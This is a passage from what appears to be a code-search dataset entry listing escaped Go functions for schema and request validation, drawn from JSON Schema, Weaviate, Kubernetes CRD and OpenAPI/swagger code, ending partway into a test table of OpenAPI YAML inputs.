struct as parameter\")\n\t\t\t}\n\t\t}\n\t}\n}","func Validate(schema interface{}, errors []map[string]interface{}) {\n\t/**\n\t * create validator instance\n\t */\n\tvalidate := validator.New()\n\n\tif err := validate.Struct(schema); err != nil {\n\t\tif _, ok := err.(*validator.InvalidValidationError); ok {\n\t\t\terrors = append(errors, map[string]interface{}{\n\t\t\t\t\"message\": fmt.Sprint(err), \"flag\": \"INVALID_BODY\"},\n\t\t\t)\n\t\t}\n\n\t\tfor _, err := range err.(validator.ValidationErrors) {\n\t\t\terrors = append(errors, map[string]interface{}{\n\t\t\t\t\"message\": fmt.Sprint(err), \"flag\": \"INVALID_BODY\"},\n\t\t\t)\n\t\t}\n\t\texception.BadRequest(\"Validation error\", errors)\n\t}\n\tif errors != nil {\n\t\texception.BadRequest(\"Validation error\", errors)\n\t}\n}","func (s *Schema) validate(v interface{}) error {\n\tif s.Always != nil {\n\t\tif !*s.Always {\n\t\t\treturn validationError(\"\", \"always fail\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tif s.Ref != nil {\n\t\tif err := s.Ref.validate(v); err != nil {\n\t\t\tfinishSchemaContext(err, s.Ref)\n\t\t\tvar refURL string\n\t\t\tif s.URL == s.Ref.URL {\n\t\t\t\trefURL = s.Ref.Ptr\n\t\t\t} else {\n\t\t\t\trefURL = s.Ref.URL + s.Ref.Ptr\n\t\t\t}\n\t\t\treturn validationError(\"$ref\", \"doesn't validate with %q\", refURL).add(err)\n\t\t}\n\n\t\t// All other properties in a \"$ref\" object MUST be ignored\n\t\treturn nil\n\t}\n\n\tif len(s.Types) > 0 {\n\t\tvType := jsonType(v)\n\t\tmatched := false\n\t\tfor _, t := range s.Types {\n\t\t\tif vType == t {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t} else if t == \"integer\" && vType == \"number\" {\n\t\t\t\tif _, ok := new(big.Int).SetString(fmt.Sprint(v), 10); ok {\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn validationError(\"type\", \"expected %s, but got %s\", strings.Join(s.Types, \" or \"), vType)\n\t\t}\n\t}\n\n\tif len(s.Constant) > 0 {\n\t\tif !equals(v, s.Constant[0]) {\n\t\t\tswitch jsonType(s.Constant[0]) {\n\t\t\tcase \"object\", \"array\":\n\t\t\t\treturn validationError(\"const\", \"const failed\")\n\t\t\tdefault:\n\t\t\t\treturn validationError(\"const\", \"value must be %#v\", s.Constant[0])\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(s.Enum) > 0 {\n\t\tmatched := false\n\t\tfor _, item := range s.Enum {\n\t\t\tif equals(v, item) {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn validationError(\"enum\", s.enumError)\n\t\t}\n\t}\n\n\tif s.Not != nil && s.Not.validate(v) == nil {\n\t\treturn validationError(\"not\", \"not failed\")\n\t}\n\n\tfor i, sch := range s.AllOf {\n\t\tif err := sch.validate(v); err != nil {\n\t\t\treturn validationError(\"allOf/\"+strconv.Itoa(i), \"allOf failed\").add(err)\n\t\t}\n\t}\n\n\tif len(s.AnyOf) > 0 {\n\t\tmatched := false\n\t\tvar causes []error\n\t\tfor i, sch := range s.AnyOf {\n\t\t\tif err := sch.validate(v); err == nil {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tcauses = append(causes, addContext(\"\", strconv.Itoa(i), err))\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn validationError(\"anyOf\", \"anyOf failed\").add(causes...)\n\t\t}\n\t}\n\n\tif len(s.OneOf) > 0 {\n\t\tmatched := -1\n\t\tvar causes []error\n\t\tfor i, sch := range s.OneOf {\n\t\t\tif err := sch.validate(v); err == nil {\n\t\t\t\tif matched == -1 {\n\t\t\t\t\tmatched = i\n\t\t\t\t} else {\n\t\t\t\t\treturn validationError(\"oneOf\", \"valid against schemas at indexes %d and %d\", matched, i)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcauses = append(causes, addContext(\"\", strconv.Itoa(i), err))\n\t\t\t}\n\t\t}\n\t\tif matched == -1 {\n\t\t\treturn validationError(\"oneOf\", \"oneOf failed\").add(causes...)\n\t\t}\n\t}\n\n\tif s.If != nil {\n\t\tif s.If.validate(v) == nil {\n\t\t\tif s.Then != nil {\n\t\t\t\tif err := s.Then.validate(v); err != nil {\n\t\t\t\t\treturn validationError(\"then\", \"if-then failed\").add(err)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif s.Else != nil {\n\t\t\t\tif err := s.Else.validate(v); err != nil {\n\t\t\t\t\treturn validationError(\"else\", \"if-else failed\").add(err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tswitch v := v.(type) {\n\tcase map[string]interface{}:\n\t\tif s.MinProperties != -1 && len(v) < s.MinProperties {\n\t\t\treturn validationError(\"minProperties\", \"minimum %d properties allowed, but found %d properties\", s.MinProperties, len(v))\n\t\t}\n\t\tif s.MaxProperties != -1 && len(v) > s.MaxProperties {\n\t\t\treturn validationError(\"maxProperties\", \"maximum %d properties allowed, but found %d properties\", s.MaxProperties, len(v))\n\t\t}\n\t\tif len(s.Required) > 0 {\n\t\t\tvar missing []string\n\t\t\tfor _, pname := range s.Required {\n\t\t\t\tif _, ok := v[pname]; !ok {\n\t\t\t\t\tmissing = append(missing, strconv.Quote(pname))\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(missing) > 0 {\n\t\t\t\treturn validationError(\"required\", \"missing properties: %s\", strings.Join(missing, \", \"))\n\t\t\t}\n\t\t}\n\n\t\tvar additionalProps map[string]struct{}\n\t\tif s.AdditionalProperties != nil {\n\t\t\tadditionalProps = make(map[string]struct{}, len(v))\n\t\t\tfor pname := range v {\n\t\t\t\tadditionalProps[pname] = struct{}{}\n\t\t\t}\n\t\t}\n\n\t\tif len(s.Properties) > 0 {\n\t\t\tfor pname, pschema := range s.Properties {\n\t\t\t\tif pvalue, ok := v[pname]; ok {\n\t\t\t\t\tdelete(additionalProps, pname)\n\t\t\t\t\tif err := pschema.validate(pvalue); err != nil {\n\t\t\t\t\t\treturn addContext(escape(pname), \"properties/\"+escape(pname), err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif s.PropertyNames != nil {\n\t\t\tfor pname := range v {\n\t\t\t\tif err := s.PropertyNames.validate(pname); err != nil {\n\t\t\t\t\treturn addContext(escape(pname), \"propertyNames\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif s.RegexProperties {\n\t\t\tfor pname := range v {\n\t\t\t\tif !formats.IsRegex(pname) {\n\t\t\t\t\treturn validationError(\"\", \"patternProperty %q is not valid regex\", pname)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor pattern, pschema := range s.PatternProperties {\n\t\t\tfor pname, pvalue := range v {\n\t\t\t\tif pattern.MatchString(pname) {\n\t\t\t\t\tdelete(additionalProps, pname)\n\t\t\t\t\tif err := pschema.validate(pvalue); err != nil {\n\t\t\t\t\t\treturn addContext(escape(pname), \"patternProperties/\"+escape(pattern.String()), err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif s.AdditionalProperties != nil {\n\t\t\tif _, ok := s.AdditionalProperties.(bool); ok {\n\t\t\t\tif len(additionalProps) != 0 {\n\t\t\t\t\tpnames := make([]string, 0, len(additionalProps))\n\t\t\t\t\tfor pname := range additionalProps {\n\t\t\t\t\t\tpnames = append(pnames, strconv.Quote(pname))\n\t\t\t\t\t}\n\t\t\t\t\treturn validationError(\"additionalProperties\", \"additionalProperties %s not allowed\", strings.Join(pnames, \", \"))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tschema := s.AdditionalProperties.(*Schema)\n\t\t\t\tfor pname := range additionalProps {\n\t\t\t\t\tif pvalue, ok := v[pname]; ok {\n\t\t\t\t\t\tif err := schema.validate(pvalue); err != nil {\n\t\t\t\t\t\t\treturn addContext(escape(pname), \"additionalProperties\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor dname, dvalue := range s.Dependencies {\n\t\t\tif _, ok := v[dname]; ok {\n\t\t\t\tswitch dvalue := dvalue.(type) {\n\t\t\t\tcase *Schema:\n\t\t\t\t\tif err := dvalue.validate(v); err != nil {\n\t\t\t\t\t\treturn addContext(\"\", \"dependencies/\"+escape(dname), err)\n\t\t\t\t\t}\n\t\t\t\tcase []string:\n\t\t\t\t\tfor i, pname := range dvalue {\n\t\t\t\t\t\tif _, ok := v[pname]; !ok {\n\t\t\t\t\t\t\treturn validationError(\"dependencies/\"+escape(dname)+\"/\"+strconv.Itoa(i), \"property %q is required, if %q property exists\", pname, dname)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tcase []interface{}:\n\t\tif s.MinItems != -1 && len(v) < s.MinItems {\n\t\t\treturn validationError(\"minItems\", \"minimum %d items allowed, but found %d items\", s.MinItems, len(v))\n\t\t}\n\t\tif s.MaxItems != -1 && len(v) > s.MaxItems {\n\t\t\treturn validationError(\"maxItems\", \"maximum %d items allowed, but found %d items\", s.MaxItems, len(v))\n\t\t}\n\t\tif s.UniqueItems {\n\t\t\tfor i := 1; i < len(v); i++ {\n\t\t\t\tfor j := 0; j < i; j++ {\n\t\t\t\t\tif equals(v[i], v[j]) {\n\t\t\t\t\t\treturn validationError(\"uniqueItems\", \"items at index %d and %d are equal\", j, i)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tswitch items := s.Items.(type) {\n\t\tcase *Schema:\n\t\t\tfor i, item := range v {\n\t\t\t\tif err := items.validate(item); err != nil {\n\t\t\t\t\treturn addContext(strconv.Itoa(i), \"items\", err)\n\t\t\t\t}\n\t\t\t}\n\t\tcase []*Schema:\n\t\t\tif additionalItems, ok := s.AdditionalItems.(bool); ok {\n\t\t\t\tif !additionalItems && len(v) > len(items) {\n\t\t\t\t\treturn validationError(\"additionalItems\", \"only %d items are allowed, but found %d items\", len(items), len(v))\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor i, item := range v {\n\t\t\t\tif i < len(items) {\n\t\t\t\t\tif err := items[i].validate(item); err != nil {\n\t\t\t\t\t\treturn addContext(strconv.Itoa(i), \"items/\"+strconv.Itoa(i), err)\n\t\t\t\t\t}\n\t\t\t\t} else if sch, ok := s.AdditionalItems.(*Schema); ok {\n\t\t\t\t\tif err := sch.validate(item); err != nil {\n\t\t\t\t\t\treturn addContext(strconv.Itoa(i), \"additionalItems\", err)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif s.Contains != nil {\n\t\t\tmatched := false\n\t\t\tvar causes []error\n\t\t\tfor i, item := range v {\n\t\t\t\tif err := s.Contains.validate(item); err != nil {\n\t\t\t\t\tcauses = append(causes, addContext(strconv.Itoa(i), \"\", err))\n\t\t\t\t} else {\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !matched {\n\t\t\t\treturn validationError(\"contains\", \"contains failed\").add(causes...)\n\t\t\t}\n\t\t}\n\n\tcase string:\n\t\tif s.MinLength != -1 || s.MaxLength != -1 {\n\t\t\tlength := utf8.RuneCount([]byte(v))\n\t\t\tif s.MinLength != -1 && length < s.MinLength {\n\t\t\t\treturn validationError(\"minLength\", \"length must be >= %d, but got %d\", s.MinLength, length)\n\t\t\t}\n\t\t\tif s.MaxLength != -1 && length > s.MaxLength {\n\t\t\t\treturn validationError(\"maxLength\", \"length must be <= %d, but got %d\", s.MaxLength, length)\n\t\t\t}\n\t\t}\n\t\tif s.Pattern != nil && !s.Pattern.MatchString(v) {\n\t\t\treturn validationError(\"pattern\", \"does not match pattern %q\", s.Pattern)\n\t\t}\n\t\tif s.Format != nil && !s.Format(v) {\n\t\t\treturn validationError(\"format\", \"%q is not valid %q\", v, s.FormatName)\n\t\t}\n\n\t\tvar content []byte\n\t\tif s.Decoder != nil {\n\t\t\tb, err := s.Decoder(v)\n\t\t\tif err != nil {\n\t\t\t\treturn validationError(\"contentEncoding\", \"%q is not %s encoded\", v, s.ContentEncoding)\n\t\t\t}\n\t\t\tcontent = b\n\t\t}\n\t\tif s.MediaType != nil {\n\t\t\tif s.Decoder == nil {\n\t\t\t\tcontent = []byte(v)\n\t\t\t}\n\t\t\tif err := s.MediaType(content); err != nil {\n\t\t\t\treturn validationError(\"contentMediaType\", \"value is not of mediatype %q\", s.ContentMediaType)\n\t\t\t}\n\t\t}\n\n\tcase json.Number, float64, int, int32, int64:\n\t\tnum, _ := new(big.Float).SetString(fmt.Sprint(v))\n\t\tif s.Minimum != nil && num.Cmp(s.Minimum) < 0 {\n\t\t\treturn validationError(\"minimum\", \"must be >= %v but found %v\", s.Minimum, v)\n\t\t}\n\t\tif s.ExclusiveMinimum != nil && num.Cmp(s.ExclusiveMinimum) <= 0 {\n\t\t\treturn validationError(\"exclusiveMinimum\", \"must be > %v but found %v\", s.ExclusiveMinimum, v)\n\t\t}\n\t\tif s.Maximum != nil && num.Cmp(s.Maximum) > 0 {\n\t\t\treturn validationError(\"maximum\", \"must be <= %v but found %v\", s.Maximum, v)\n\t\t}\n\t\tif s.ExclusiveMaximum != nil && num.Cmp(s.ExclusiveMaximum) >= 0 {\n\t\t\treturn validationError(\"exclusiveMaximum\", \"must be < %v but found %v\", s.ExclusiveMaximum, v)\n\t\t}\n\t\tif s.MultipleOf != nil {\n\t\t\tif q := new(big.Float).Quo(num, s.MultipleOf); !q.IsInt() {\n\t\t\t\treturn validationError(\"multipleOf\", \"%v not multipleOf %v\", v, s.MultipleOf)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func ValidateSchemaInBody(weaviateSchema *models.SemanticSchema, bodySchema *models.Schema, className string, dbConnector dbconnector.DatabaseConnector, serverConfig *config.WeaviateConfig) error {\n\t// Validate whether the class exists in the given schema\n\t// Get the class by its name\n\tclass, err := schema.GetClassByName(weaviateSchema, className)\n\n\t// Return the error, in this case that the class is not found\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Validate whether the properties exist in the given schema\n\t// Get the input properties from the bodySchema in readable format\n\tisp := *bodySchema\n\n\tif isp == nil {\n\t\treturn nil\n\t}\n\n\tinputSchema := isp.(map[string]interface{})\n\n\t// For each property in the input schema\n\tfor pk, pv := range inputSchema {\n\t\t// Get the property data type from the schema\n\t\tdt, err := schema.GetPropertyDataType(class, pk)\n\n\t\t// Return the error, in this case that the property is not found\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Check whether the datatypes are correct\n\t\tif *dt == schema.DataTypeCRef {\n\t\t\t// Cast it to a usable variable\n\t\t\tpvcr := pv.(map[string]interface{})\n\n\t\t\t// Return different types of errors for cref input\n\t\t\tif len(pvcr) != 3 {\n\t\t\t\t// Give an error if the cref is not filled with correct number of properties\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. Check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t} else if _, ok := pvcr[\"$cref\"]; !ok {\n\t\t\t\t// Give an error if the cref is not filled with correct properties ($cref)\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. '$cref' is missing, check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t} else if _, ok := pvcr[\"locationUrl\"]; !ok {\n\t\t\t\t// Give an error if the cref is not filled with correct properties (locationUrl)\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. 'locationUrl' is missing, check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t} else if _, ok := pvcr[\"type\"]; !ok {\n\t\t\t\t// Give an error if the cref is not filled with correct properties (type)\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. 'type' is missing, check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\t// Return error if type is not right, when it is not one of the 3 possible types\n\t\t\trefType := pvcr[\"type\"].(string)\n\t\t\tif !validateRefType(refType) {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires one of the following values in 'type': '%s', '%s' or '%s'\",\n\t\t\t\t\tclass.Class, pk,\n\t\t\t\t\tconnutils.RefTypeAction,\n\t\t\t\t\tconnutils.RefTypeThing,\n\t\t\t\t\tconnutils.RefTypeKey,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\t// TODO: https://github.com/creativesoftwarefdn/weaviate/issues/237 Validate using / existing locationURL?\n\t\t\t// Validate whether reference exists based on given Type\n\t\t\tcrefu := strfmt.UUID(pvcr[\"$cref\"].(string))\n\t\t\tif refType == connutils.RefTypeAction {\n\t\t\t\tar := &models.ActionGetResponse{}\n\t\t\t\tare := dbConnector.GetAction(crefu, ar)\n\t\t\t\tif are != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error finding the 'cref' to an Action in the database: %s\", are)\n\t\t\t\t}\n\t\t\t} else if refType == connutils.RefTypeKey {\n\t\t\t\tkr := &models.KeyGetResponse{}\n\t\t\t\tkre := dbConnector.GetKey(crefu, kr)\n\t\t\t\tif kre != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error finding the 'cref' to a Key in the database: %s\", kre)\n\t\t\t\t}\n\t\t\t} else if refType == connutils.RefTypeThing {\n\t\t\t\ttr := &models.ThingGetResponse{}\n\t\t\t\ttre := dbConnector.GetThing(crefu, tr)\n\t\t\t\tif tre != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error finding the 'cref' to a Thing in the database: %s\", tre)\n\t\t\t\t}\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeString {\n\t\t\t// Return error when the input can not be casted to a string\n\t\t\tif _, ok := pv.(string); !ok {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a string. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeInt {\n\t\t\t// Return error when the input can not be casted to json.Number\n\t\t\tif _, ok := pv.(json.Number); !ok {\n\t\t\t\t// If value is not a json.Number, it could be an int, which is fine\n\t\t\t\tif _, ok := pv.(int64); !ok {\n\t\t\t\t\t// If value is not a json.Number, it could be an int, which is fine when the float does not contain a decimal\n\t\t\t\t\tif vFloat, ok := pv.(float64); ok {\n\t\t\t\t\t\t// Check whether the float is containing a decimal\n\t\t\t\t\t\tif vFloat != float64(int64(vFloat)) {\n\t\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\t\"class '%s' with property '%s' requires an integer. The given value is '%v'\",\n\t\t\t\t\t\t\t\tclass.Class,\n\t\t\t\t\t\t\t\tpk,\n\t\t\t\t\t\t\t\tpv,\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// If it is not a float, it is cerntainly not a integer, return the error\n\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\"class '%s' with property '%s' requires an integer. The given value is '%v'\",\n\t\t\t\t\t\t\tclass.Class,\n\t\t\t\t\t\t\tpk,\n\t\t\t\t\t\t\tpv,\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if _, err := pv.(json.Number).Int64(); err != nil {\n\t\t\t\t// Return error when the input can not be converted to an int\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires an integer, the JSON number could not be converted to an int. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\n\t\t} else if *dt == schema.DataTypeNumber {\n\t\t\t// Return error when the input can not be casted to json.Number\n\t\t\tif _, ok := pv.(json.Number); !ok {\n\t\t\t\tif _, ok := pv.(float64); !ok {\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"class '%s' with property '%s' requires a float. The given value is '%v'\",\n\t\t\t\t\t\tclass.Class,\n\t\t\t\t\t\tpk,\n\t\t\t\t\t\tpv,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t} else if _, err := pv.(json.Number).Float64(); err != nil {\n\t\t\t\t// Return error when the input can not be converted to a float\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a float, the JSON number could not be converted to a float. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeBoolean {\n\t\t\t// Return error when the input can not be casted to a boolean\n\t\t\tif _, ok := pv.(bool); !ok {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a bool. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeDate {\n\t\t\t// Return error when the input can not be casted to a string\n\t\t\tif _, ok := pv.(string); !ok {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a string with a RFC3339 formatted date. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\t// Parse the time as this has to be correct\n\t\t\t_, err := time.Parse(time.RFC3339, pv.(string))\n\n\t\t\t// Return if there is an error while parsing\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a string with a RFC3339 formatted date. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (m *CreateDocV1Response) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for Id\n\n\treturn nil\n}","func SchemaHas(s *apiextensionsv1.JSONSchemaProps, fldPath, simpleLocation *field.Path, pred func(s *apiextensionsv1.JSONSchemaProps, fldPath, simpleLocation *field.Path) bool) bool {\n\tif s == nil {\n\t\treturn false\n\t}\n\n\tif pred(s, fldPath, simpleLocation) {\n\t\treturn true\n\t}\n\n\tif s.Items != nil {\n\t\tif s.Items != nil && schemaHasRecurse(s.Items.Schema, fldPath.Child(\"items\"), simpleLocation.Key(\"*\"), pred) {\n\t\t\treturn true\n\t\t}\n\t\tfor i := range s.Items.JSONSchemas {\n\t\t\tif schemaHasRecurse(&s.Items.JSONSchemas[i], fldPath.Child(\"items\", \"jsonSchemas\").Index(i), simpleLocation.Index(i), pred) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tfor i := range s.AllOf {\n\t\tif schemaHasRecurse(&s.AllOf[i], fldPath.Child(\"allOf\").Index(i), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor i := range s.AnyOf {\n\t\tif schemaHasRecurse(&s.AnyOf[i], fldPath.Child(\"anyOf\").Index(i), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor i := range s.OneOf {\n\t\tif schemaHasRecurse(&s.OneOf[i], fldPath.Child(\"oneOf\").Index(i), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tif schemaHasRecurse(s.Not, fldPath.Child(\"not\"), simpleLocation, pred) {\n\t\treturn true\n\t}\n\tfor propertyName, s := range s.Properties {\n\t\tif schemaHasRecurse(&s, fldPath.Child(\"properties\").Key(propertyName), simpleLocation.Child(propertyName), pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tif s.AdditionalProperties != nil {\n\t\tif schemaHasRecurse(s.AdditionalProperties.Schema, fldPath.Child(\"additionalProperties\", \"schema\"), simpleLocation.Key(\"*\"), pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor patternName, s := range s.PatternProperties {\n\t\tif schemaHasRecurse(&s, fldPath.Child(\"allOf\").Key(patternName), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tif s.AdditionalItems != nil {\n\t\tif schemaHasRecurse(s.AdditionalItems.Schema, fldPath.Child(\"additionalItems\", \"schema\"), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor _, s := range s.Definitions {\n\t\tif schemaHasRecurse(&s, fldPath.Child(\"definitions\"), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor dependencyName, d := range s.Dependencies {\n\t\tif schemaHasRecurse(d.Schema, fldPath.Child(\"dependencies\").Key(dependencyName).Child(\"schema\"), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}"],"string":"[\n \"func (swagger *MgwSwagger) Validate() error {\\n\\tif (swagger.EndpointImplementationType != constants.MockedOASEndpointType) &&\\n\\t\\t(swagger.EndpointType != constants.AwsLambda) {\\n\\t\\tif (swagger.productionEndpoints == nil || len(swagger.productionEndpoints.Endpoints) == 0) &&\\n\\t\\t\\t(swagger.sandboxEndpoints == nil || len(swagger.sandboxEndpoints.Endpoints) == 0) {\\n\\n\\t\\t\\tlogger.LoggerOasparser.Errorf(\\\"No Endpoints are provided for the API %s:%s\\\",\\n\\t\\t\\t\\tswagger.title, swagger.version)\\n\\t\\t\\treturn errors.New(\\\"no endpoints are provided for the API\\\")\\n\\t\\t}\\n\\t\\terr := swagger.productionEndpoints.validateEndpointCluster(\\\"API level production\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlogger.LoggerOasparser.Errorf(\\\"Error while parsing the production endpoints of the API %s:%s - %v\\\",\\n\\t\\t\\t\\tswagger.title, swagger.version, err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\terr = swagger.sandboxEndpoints.validateEndpointCluster(\\\"API level sandbox\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tlogger.LoggerOasparser.Errorf(\\\"Error while parsing the sandbox endpoints of the API %s:%s - %v\\\",\\n\\t\\t\\t\\tswagger.title, swagger.version, err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tfor _, res := range swagger.resources {\\n\\t\\t\\terr := res.productionEndpoints.validateEndpointCluster(\\\"Resource level production\\\")\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlogger.LoggerOasparser.Errorf(\\\"Error while parsing the production endpoints of the API %s:%s - %v\\\",\\n\\t\\t\\t\\t\\tswagger.title, swagger.version, err)\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\terr = res.sandboxEndpoints.validateEndpointCluster(\\\"Resource level sandbox\\\")\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlogger.LoggerOasparser.Errorf(\\\"Error while parsing the sandbox endpoints of the API %s:%s - %v\\\",\\n\\t\\t\\t\\t\\tswagger.title, swagger.version, err)\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\terr := swagger.validateBasePath()\\n\\tif err != nil {\\n\\t\\tlogger.LoggerOasparser.Errorf(\\\"Error while parsing the API %s:%s - %v\\\", swagger.title, swagger.version, err)\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func OapiRequestValidator(swagger *openapi3.T) fiber.Handler {\\n\\treturn OapiRequestValidatorWithOptions(swagger, nil)\\n}\",\n \"func TestValidation(t *testing.T) {\\n\\ttests := []struct {\\n\\t\\tname string\\n\\t\\tinput string\\n\\t\\texpectedError error\\n\\t}{\\n\\t\\t{\\n\\t\\t\\t\\\"when no OpenAPI property is supplied\\\",\\n\\t\\t\\t`\\ninfo:\\n title: \\\"Hello World REST APIs\\\"\\n version: \\\"1.0\\\"\\npaths:\\n \\\"/api/v2/greetings.json\\\":\\n get:\\n operationId: listGreetings\\n responses:\\n 200:\\n description: \\\"List different greetings\\\"\\n \\\"/api/v2/greetings/{id}.json\\\":\\n parameters:\\n - name: id\\n in: path\\n required: true\\n schema:\\n type: string\\n example: \\\"greeting\\\"\\n get:\\n operationId: showGreeting\\n responses:\\n 200:\\n description: \\\"Get a single greeting object\\\"\\n`,\\n\\t\\t\\terrors.New(\\\"value of openapi must be a non-empty JSON string\\\"),\\n\\t\\t},\\n\\t\\t{\\n\\t\\t\\t\\\"when an empty OpenAPI property is supplied\\\",\\n\\t\\t\\t`\\nopenapi: ''\\ninfo:\\n title: \\\"Hello World REST APIs\\\"\\n version: \\\"1.0\\\"\\npaths:\\n \\\"/api/v2/greetings.json\\\":\\n get:\\n operationId: listGreetings\\n responses:\\n 200:\\n description: \\\"List different greetings\\\"\\n \\\"/api/v2/greetings/{id}.json\\\":\\n parameters:\\n - name: id\\n in: path\\n required: true\\n schema:\\n type: string\\n example: 